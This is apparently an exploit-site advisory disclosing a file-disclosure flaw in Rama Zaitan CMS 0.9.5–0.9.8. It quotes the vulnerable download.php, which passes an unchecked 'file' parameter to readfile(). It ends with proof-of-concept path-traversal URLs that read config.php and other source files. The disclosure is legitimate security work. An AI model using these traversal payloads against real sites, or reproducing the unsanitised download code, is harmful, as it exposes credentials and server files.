Rama CMS <= 0.9.8 (download.php file) File Disclosure Vulnerability

                                                #Start info: {
#
#Script Name: Rama Zaitan Cms
# Script Project:
http://sourceforge.net/project/showfiles.php?group_id=212495&package_id=255
590
# Download:
http://sourceforge.net/project/downloading.php?group_id=212495&filename=cms
975.zip&a=5782381
#
# 0.9.5 <= Versions <=0.9.8
#
# by Br0ly.
# [email protected]
#
# Brasil.
#
# Gretz: str0ke , Osirys, xscholler , 6_Bl4ck9_f0x6 and all my friends.
#
# Sorry for my bad english. ;/
#
#End info }


Php code :
<?php
$dir = 'uploads/';
$file = $_GET['file'];
<-----------------------------------------------------------------> Vul

header('Content-Disposition: attachment; filename='.$file);

switch ($_GET['type']) {
case 'Doc':
header ('Content-type: application/msword');
break;
case 'Excel':
header ('Content-type: application/vnd.ms-excel');
break;
case 'ZIP':
header ('Content-type: application/zip');
break;
case 'PPT':
header ('Content-type: application/vnd.ms-powerpoint');
break;
case 'PDF':
header ('Content-type: application/pdf');
break;

default: header ('application/force-download');
}

readfile("$dir$file");
<-------------------------------------------------------> Vul
?>

p0f :

http://locahost/ramacms/download.php?file=download.php
http://locahost/ramacms/download.php?file=../index.php
http://locahost/ramacms/download.php?file=../config.php

;D